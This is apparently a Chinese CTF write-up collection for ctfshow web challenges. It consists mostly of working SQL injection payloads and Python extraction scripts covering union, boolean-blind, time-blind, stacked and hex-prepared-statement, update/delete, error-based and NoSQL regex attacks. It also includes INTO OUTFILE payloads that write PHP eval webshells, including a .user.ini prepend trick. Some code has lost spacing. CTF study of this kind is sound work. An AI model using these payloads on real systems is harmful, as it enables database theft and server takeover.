0' union select 1,hex(password),3 from ctfshow_user3 where username="flag"%23
web174
/拼接sql语句查找指定ID用户 $sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;"; sel //检查结果是否有flag if(!preg_match('/flag|[0-9]/i', json_encode($ret))){ $ret['msg']='查询成功'; }
1' union select 'q',(select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(hex(password),'1','q'),'2','w'),'3','e'),'4','r'),'5','t'),'6','y'),'7','u'),'8','i'),'9','o'),'0','p') from ctfshow_user4 where username='flag')--+
在自己替换一下
盲注测试一下下
抓包发现向这个页面请求的数据
1' and length(database())>0%23
1' and length(database())=0%23
也就是说如果后面为真就返回admin,如果后面为假就不返回admin
get有回显布尔无空格和逗号的脚本
#payload = 1'&&length((select(password)from(ctfshow_user4)where(id=26)))>{mid}# defget_pwd_len(url): head = 1 tail = 100 ans = 0 while head < tail: mid = (head + tail ) >> 1 payload = f"1'&&length((select(password)from(ctfshow_user4)where(id=26)))>{mid}#" # print(uname) param = { 'id': payload, 'page': '1', 'limit': '10' } res = requests.get(url=url,params=param) if"admin"in res.text: head = mid + 1 ans = mid + 1 else: tail = mid print(ans)
//拼接sql语句查找指定ID用户 $sql = "select count(pass) from ".$_POST['tableName'].";"; //对传入的参数进行了过滤 function waf($str){ return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str); } //返回用户表的记录总数 $user_count = 0;
regexp匹配like通配pwd
import requests
defpost_pwd(url): dic=r'{flqazwsxedcrvtgbyhnujmikolp-0123456789}' ans ='' for i inrange(1,46): for j in dic: #flag="ctfshow{" #payload = f"(ctfshow_user)where(pass)like'{flag+j}%' payload =f"(ctfshow_user)where(substr(pass,{i},1))regexp('{j}')" data = { 'tableName':payload } r = requests.post(url,data=data) if r.text.find("$user_count = 1;") > 0: ans += j print(ans) break
def str_to_hex(s): return''.join([hex(ord(c)).replace('0x','') for c in s]) for i in range(0,100): for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}": data={ #'tableName':"ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("0x"+str_to_hex(flag+j+"%")) 'tableName':f"ctfshow_user group by pass having pass like {'0x'+str_to_hex(flag+j+'%')}" } r=requests.post(url=url,data=data).text if"$user_count = 1" in r: flag+=j print(flag) if j=='}': exit() break
flag = 'ctfshow{' for i inrange(45): if i <= 8: continue for j inrange(127): data = { "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))" } r = requests.post(url,data=data) if r.text.find("$user_count = 43;")>0: ifchr(j) != ".": flag += chr(j) print(flag.lower()) ifchr(j) == "}": exit(0) break
RIGHT JOIN等同于RIGHT OUTER JOIN，右外连接，不满足ON条件的会保留右边那张表的数据，左边表数据直接显示NULL
defcreateNum(n): num = 'true' if n == 1: return'true' else: for i inrange(n - 1): num += "+true" return num
for i inrange(45): if i <= 8: continue for j inrange(127): data = { "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))" } r = requests.post(url, data=data) if r.text.find("$user_count = 43;") > 0: ifchr(j) != ".": flag += chr(j)
这里32位的16进制的字符串，两个一组就是上面的16位二进制的字符串。比如27，这是16进制的，先要转化为10进制的，就是39，39在ASC码表里面就是’ ‘ ‘字符。6f就是对应‘ o ’。
然后我们得到的sql语句就是 SELECT * FROM admin WHERE username = 'admin' and password = ''or'6�]��!r,��b'
为什么password = ''or'6�]��!r,��b'的返回值会是true呢，因为or后面的单引号里面的字符串（6�]��!r,��b），是数字开头的。当然不能以0开头。（我不知道在数据库里面查询的时候，�这种会不会显示）
这里引用一篇文章，连接在下面，里面的原话“a string starting with a 1 is cast as an integer when used as a boolean.“
在mysql里面，在用作布尔型判断时，以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的，比如password=‘xxx’ or ‘1xxxxxxxxx’，那么就相当于password=‘xxx’ or 1 ，也就相当于password=‘xxx’ or true，所以返回值就是true。当然在我后来测试中发现，不只是1开头，只要是数字开头都是可以的。
当然如果只有数字的话，就不需要单引号，比如password=‘xxx’ or 1，那么返回值也是true。（xxx指代任意字符）
所以到这里为止，就完成了sql注入。同时要注意的是，这种sql语句，在mysql里面是可以行得通的，但是在oracle数据库里面这样的语句是有语法错误的。
所以回过头来为什么ffifdyop就是答案，因为ffifdyop的md5的原始二进制字符串里面有‘or’6这一部分的字符。那么进一步思考这个单引号是否是必要的，这两个单引号是为了与原有的语句的单引号配对。所以我们理解了这个sql注入的原理，那么就明白了我们需要怎样的字符串。
web188
这条语句可以查出所有数据
SELECT * FROM users where username = 1<1 and password = 0 SELECT * FROM users where username = 0 and password = 0
url = "http://2c0073f7-8662-4a12-a742-f17e1818ed0a.chall.ctf.show/api/" flagstr=" _{}-" + string.ascii_lowercase + string.digits flag = '' for i inrange(1,45): for j in flagstr: payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1" data = { 'username': payload, 'password': '1' } r = requests.post(url, data=data) if"密码错误" == r.json()['msg']: flag += j print(flag) if"}" == j: exit(0) break
web193
过滤sustr
Author:feng import requests
url='http://fc1e9e65-4116-4635-aebc-05e37fef775f.challenge.ctf.show/api/' flag="" for i inrange(0,100): for j in"0123456789abcdefghijklmnopqrstuvwxyz-,{}_": #payload="' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)-- -".format(flag+j+"%") #payload="' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)-- -".format(flag+j+"%") payload="' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)-- -".format(flag+j+"%")
url = "http://fc1e9e65-4116-4635-aebc-05e37fef775f.challenge.ctf.show/api/" flagstr="0123456789abcdefghijklmnopqrstuvwxyz-,{}_" flag = ''
for i inrange(1,45): for j in flagstr: payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 查字段 f1ag # payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'" #payload = "(select group_concat(f1ag) from ctfshow_fl0g)" payload = f"admin' and if(({payload})regexp('{flag +j}'),1,2)='1" print(payload) data = { 'username': payload, 'password': '1' } r = requests.post(url, data=data) if"密码错误" == r.json()['msg']: flag += j print(flag) if"}" == j: exit(0) break
web194
locat()正则注入
Author:Y4tacker import requests # 应该还可以用instr等函数，LOCATE、POSITION、INSTR、FIND_IN_SET、IN、LIKE url = "http://dee436de-268a-408e-b66a-88b4c972e5f5.chall.ctf.show/api/" final = "" stttr = "flag{}-_1234567890qwertyuiopsdhjkzxcvbnm" for i inrange(1,45): for j in stttr: final += j # 查表名-ctfshow_flxg # payload = f"admin' and if(locate('{final}',(select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,1,2)='1" # 查字段-f1ag # payload = f"admin' and if(locate('{final}',(select column_name from information_schema.columns where table_name='ctfshow_flxg' limit 1,1))=1,1,2)='1" payload = f"admin' and if(locate('{final}',(select f1ag from ctfshow_flxg limit 0,1))=1,1,2)='1" data = { 'username': payload, 'password': '1' } r = requests.post(url,data=data) if"密码错误" == r.json()['msg']: print(final) else: final = final[:-1]
import requests import string
url = "http://2c0073f7-8662-4a12-a742-f17e1818ed0a.chall.ctf.show/api/" flagstr=" _{}-" + string.ascii_lowercase + string.digits flag = '' z = 'flag' for i inrange(1,45): for j in flagstr: payload = f"admin' and if((select group_concat(f1ag) from ctfshow_fl0g)regexp('{j}'),1,2)='1" data = { 'username': payload, 'password': '1' } r = requests.post(url, data=data) if"密码错误" == r.json()['msg']: flag += j print(flag) if"}" == j: exit(0) break
web195
update堆叠注入
把所有的密码都改为111，之后登录就好
0x61646d696e;update`ctfshow_user`set`pass`=0x313131; # 至于为什么非得用十六进制登录，是因为下面这个没有字符串单引号包围 sql = "select pass from ctfshow_user where username = {$username};";
whileTrue: i += 1 head = 32 tail = 127 j = 0 while head < tail: j += 1 if j / 2 == 1: #算两个让数据库歇一会,不然数据库还没算完,就算下一个会有误差 time.sleep(2) mid = (head + tail) >> 1 #表名 ctfshow_flagxccb #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #字段名 flagaabc #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'" # 数据 防止查错咱们多等会呗,可用改改benchmark的循环次数,我改到7400000 payload = "select flagaabc from ctfshow_flagxccb"
data = { 'ip' :f"1) or if((ascii(substr(({payload}),{i},1)))>{mid},benchmark(3480500,sha(1)),1", 'debug' : '0' }
try: r = requests.post(url , data= data ,timeout=1) #time.sleep(0.3) tail = mid except Exception as e: head = mid +1 if head != 32: ans += chr(head) else: break print(ans)
whileTrue: i += 1 head = 32 tail = 127 j = 0 while head < tail: j += 1 #算两个让数据库歇一会,不然数据库还没算完,就算下一个会有误差 time.sleep(6) mid = (head + tail) >> 1 #表名 ctfshow_flagxc #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #字段名 flagaabc #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxc'" # 数据 防止查错咱们多等会呗 我直接就查一个 payload = "select flagaac from ctfshow_flagxc" #ctfshow{2d33427a-d593-4d42-85a2-a459a676b1b0} data = { 'ip' :f"1) or if((ascii(substr(({payload}),{i},1)))>{mid},(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata F,information_schema.schemata H),1", 'debug' : '0' }
try: r = requests.post(url , data= data ,timeout=1) #time.sleep(0.3) tail = mid except Exception as e: head = mid +1 if head != 32: ans += chr(head) else: break print(ans)
whileTrue: i += 1 head = 32 tail = 127 j = 0 while head < tail: j += 1 #算两个让数据库歇一会,不然数据库还没算完,就算下一个会有误差
mid = (head + tail) >> 1 #表名 ctfshow_flagxca #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" #字段名 flagaabc #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'" # 数据 防止查错咱们多等会呗 我直接就查一个 payload = "select flagaabc from ctfshow_flagxca" #ctfshow{96c90aaa-5a9f-48bf-9ff0-814874d503f1} data = { 'ip' :f"1) or if((ascii(substr(({payload}),{i},1)))>{mid},1,(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata F,information_schema.schemata H)", 'debug' : '0' }
try: r = requests.post(url , data= data ,timeout=1) #time.sleep(0.3) head = mid +1 except Exception as e: tail = mid time.sleep(6) if head != 32: ans += chr(head) else: break print(ans)
web220
import requests import time
url = "http://51762119-b7e0-4b2a-a392-0f5fded552ac.challenge.ctf.show/api/" ans = "" j = 1 dir = "cfi_1234567890{}-qazwsxedcrfvtgbyhnujmikolpQWERTYUIOPASDFGHJKLZXCVBNM" whileTrue: for i indir: ans += i
#表名 ctfshow_flagxcac #payload = "select table_name from information_schema.tables where table_schema=database() limit 0,1" #字段名 ctfshow_flagxcac payload = "select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1" # 数据 防止查错咱们多等会呗 我直接就查一个 payload = "select flagaabcc from ctfshow_flagxcac" #ctfshow{96c90aaa-5a9f-48bf-9ff0-814874d503f1} #print(f"if(ord(left({payload},{i}))>{mid},1,(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata F,information_schema.schemata H)")
data = { 'ip' :f"1) or if((left(({payload}),{j}))='{ans}',(SELECT count(*) FROM information_schema.columns A, information_schema.schemata B, information_schema.schemata C, information_schema.schemata D,information_schema.schemata F,information_schema.schemata H),1", 'debug' : '0' }
try: r = requests.post(url , data= data ,timeout=1) #time.sleep(0.3) ans = ans[:-1] print('正确') except Exception as e: print(ans) j += 1 time.sleep(6) print('错误')
PREPARE name from '[my sql sequece]'; #预定义sql语句 EXECUTE name; #执行预定义的sql语句 (DEALLOCATE || DROP) PREPARE name; #珊瑚预定义sql语句
字符串定义预处理
PREPARE stmt1 FROM 'SELECT SQRT(POW(?,2) + POW(?,2)) AS hypotenuse'; ET @a = 3; SET @b = 4; EXECUTE stmt1 USING @a, @b;
变量定义预处理sql
SET @s = "SELECT SQRT(POW(?,2) + POW (?,2)) AS hypotenuse"; PREPARE stmt2 FROM @s; SET @c = 6; ET @d = 8; EXECUTE stmt2 USING @c,@d; DEALLOCATE PREPARE stmt2;
1';rename table words to word1;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key; alter table words change flag data varchar(100);#
接着才查询1
预处理语句
用法
SER @tn = 'hahaha'; #存储表名 SET @sql =concat('select * from ',@tn); #存储sql语句 PREPARE name from @sql; #预处理sql语句 EXECUTE name; #执行预定义sql语句 (DEALLOCATE || DROP) PREPARE sqla; #删除预定义sql
1';SET @sqli=concat(char(115,101,108,101,99,116),'*from `1919810931114514`');PREPARE st from @sqli;EXECUTE st;#
或者
1';PREPARE st from concat('s','elect', '*from `1919810931114514` ');EXECUTE st;#
1';SET @sqli=concat(char(115,101,108,101,99,116),' database()');PREPARE st from @sqli;EXECUTE st;
/api/?username=1';SET @sqli=concat(char(115,101,108,101,99,116),' database()');PREPARE st from @sqli;EXECUTE st;&page=1&limit=10
web226
16进制预处理堆叠注入
/api/?username=1';prepare s from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute s;&page=1&limit=10
记得十六进制前面加0x哦
字段名
/api/?username=1';prepare s from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2763746673685f6f775f666c6167617327;execute s;&page=1&limit=10
数据
/api/?username=1';prepare s from 0x73656c65637420666c61676173622066726f6d2063746673685f6f775f666c61676173;execute s;&page=1&limit=10
/api/?username=1';prepare s from 0x73656c656374202a2066726f6d20696e666f726d6174696f6e5f736368656d612e726f7574696e6573;execute s;&page=1&limit=10
web228
和226差不多
/api/?username=1';prepare s from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute s;&page=1&limit=10
/api/?username=1';prepare s from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d2763746673685f6f775f666c61676173616127;execute s;&page=1&limit=10
/api/?username=1';prepare s from 0x73656c65637420666c6167617362612066726f6d2063746673685f6f775f666c616761736161;execute s;&page=1&limit=10
web229
/api/?username=1';prepare s from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute s;&page=1&limit=10
/api/?username=1';prepare s from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c616727;execute s;&page=1&limit=10
/api/?username=1';prepare s from 0x73656c65637420666c6167617362612066726f6d20666c6167;execute s;&page=1&limit=10
web230
/api/?username=1';prepare s from 0x73656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829;execute s;&page=1&limit=10
/api/?username=1';prepare s from 0x73656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d27666c6167616162627827;execute s;&page=1&limit=10
/api/?username=1';prepare s from 0x73656c65637420666c616761736261732066726f6d20666c61676161626278;execute s;&page=1&limit=10
web231
updata注入
update ctfshow_user set pass = '{$password}' where username = '{$username}';
还是这里找发送参数
简单闭合一下
update ctfshow_user set pass = '1',username=user() where 1=1#' where username = '1';
POST password=1',username=user()#&username=1
POST password=1',username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) #&username=1
POST password=1',username=(select group_concat(column_name) from information_schema.columns where table_name='flaga')#&username=1
POST password=1',username=(select flagas from flaga)#&username=1 password=1',username=(select a from (select group_concat(flagas)a from flaga) 1) ;#&username=1
web232
POST password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&username=1
POST password=1'),username=(select group_concat(column_name) from information_schema.columns where table_name='flagaa')#&username=1
password=1'),username=(select flagass from flagaa)#&username=1 password=1'),username=(select a from (select group_concat(flagas)a from flaga) 111) ;#&username=1
web233
updata盲注
盲注
测试
import requests url = "http://ad2cbb74-6e31-4f3d-bffc-6d989a5760f7.challenge.ctf.show/api/" payload = "length(database())=0"#没延迟 payload = "length(database())>0"#延迟 date = { 'username': f"1' or if({payload},sleep(0.05),1) #", 'password': "0" } try: r = requests.post(url, data=date, timeout=0.9) print('没延迟') except Exception as e: print('延迟')
# 看命函数 defgenerate_random_str(): sttr = 'ab' str_list = [random.choice(sttr) for i inrange(5)] random_str = ''.join(str_list) return random_str
while1: data = { 'username': f"1',(select(flag)from(flag{generate_random_str()})))#", 'password': "" } r = requests.post(url_insert, data=data) r2 = requests.get(url_flag) if"ctfshow{"in r2.text: for i in r2.json()['data']: if"ctfshow{"in i['pass']: print(i['pass']) break break
web241
delete注入
""" Author:feng """ import requests from time import * defcreateNum(n): num = 'true' if n == 1: return'true' else: for i inrange(n - 1): num += "+true" return num
flag='' for i inrange(1,100): min=32 max=128 while1: j=min+(max-min)//2 ifmin==j: flag+=chr(j) print(flag) ifchr(j)=='}': exit() break
#payload="if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},sleep(0.01),1)".format(i,j) #payload="if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='flag'),{},1))<{},sleep(0.01),1)".format(i,j) payload="if(ascii(substr((select group_concat(flag) from flag),{},1))<{},sleep(0.01),1)".format(i,j)
SELECT ... INTO OUTFILE 'file_name' [CHARACTER SET charset_name] [export_options]
export_options: [{FIELDS | COLUMNS} [TERMINATED BY 'string']//分隔符 [[OPTIONALLY] ENCLOSED BY 'char'] [ESCAPED BY 'char'] ] [LINES [STARTING BY 'string'] [TERMINATED BY 'string'] ]
“OPTION”参数为可选参数选项，其可能的取值有：
`FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。
`FIELDS ENCLOSED BY '字符'`：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。
`FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。
`FIELDS ESCAPED BY '字符'`：设置转义字符，只能为单个字符。默认值为“\”。
`LINES STARTING BY '字符串'`：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。
`LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。
FIELDS TERMINATED BY
LINES STARTING BY
LINES TERMINATED BY
filename=1.php' fields terminated by '<?php eval($_REQUEST[1]);?>'#
filename=.user.ini' LINES STARTING BY ';' TERMINATED BY 0x0a6175746f5f70726570656e645f66696c653d7a662e6a70670a#
.user.ini的结果类似于：
再上传图片马
filename=zf.jpg' lines starting by '<?=eval($_POST[zf]);?>'#
web244
报错注入
extractvalue()
api/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))-- #&page=1&limit=10
updatexml()
/api/?id=1' or updatexml(1,concat(1,(database())),1) -- #&page=1&limit=10
floor()
/api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
ceil()
/api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,ceil(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
round()
/api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,round(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
都试一下咯
模板 /api/?id=1' or updatexml(1,concat(1,([])),1) -- #&page=1&limit=10
表名 /api/?id=1' or updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) -- #&page=1&limit=10
字段名 /api/?id=1' or updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag')),1) -- #&page=1&limit=10
数据 分开读 /api/?id=1' or updatexml(1,concat(1,(select left(flag,30) from ctfshow_flag)),1) -- #&page=1&limit=10 ctfshow{35d09f15-bd71-4970-90c /api/?id=1' or updatexml(1,concat(1,(select right(flag,27) from ctfshow_flag)),1) -- #&page=1&limit=10 d71-4970-90ca-56b17f14ccb0}
web245
api/?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))-- #&page=1&limit=10
模板 api/?id=1' and extractvalue(1,concat(0x7e,([]),0x7e))-- #&page=1&limit=10
表名 api/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #&page=1&limit=10
字段名 api/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),0x7e))-- #&page=1&limit=10
数据 分开读 api/?id=1' and extractvalue(1,concat(0x7e,(select left(flag1,30) from ctfshow_flagsa),0x7e))-- #&page=1&limit=10 ctfshow{1232f3e3-1688-483c-a48 api/?id=1' and extractvalue(1,concat(0x7e,(select right(flag1,30) from ctfshow_flagsa),0x7e))-- #&page=1&limit=10 3-1688-483c-a483-990657e35c81}
web246
/api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
模板 /api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,([]),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
表名 /api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
字段名 /api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='ctfshow_flags' limit 1,1),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
数据 /api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select flag2 from ctfshow_flags),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
web247
/api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,ceil(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
/api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,round(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
模板 /api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,([]),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
表名 /api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x3a,0x3a,ceil(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
字段名 /api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='ctfshow_flagsa' limit 1,1),0x3a,0x3a,ceil(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
数据 /api/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select `flag?` from ctfshow_flagsa),0x3a,0x3a,ceil(rand(0)*2)) as a from information_schema.columns group by a-- #&page=1&limit=10
//查询age = 22的记录 db.userInfo.find({"age": 22}); //相当于：select * from userInfo where age = 22; //查询age > 22的记录 db.userInfo.find({age: {$gt: 22}}); //相当于：select * from userInfo where age > 22;
for i inrange(1,100): for j in"{-abcdefghijklmnopqrstuvwxyz0123456789}": payload="^{}.*$".format(flag+j) data={ 'username[$regex]':'flag', 'password[$regex]':payload } r=requests.post(url=url,data=data) ifr"\u767b\u9646\u6210\u529f"in r.text: flag+=j print(flag) if j=="}": exit() break
微信
支付宝
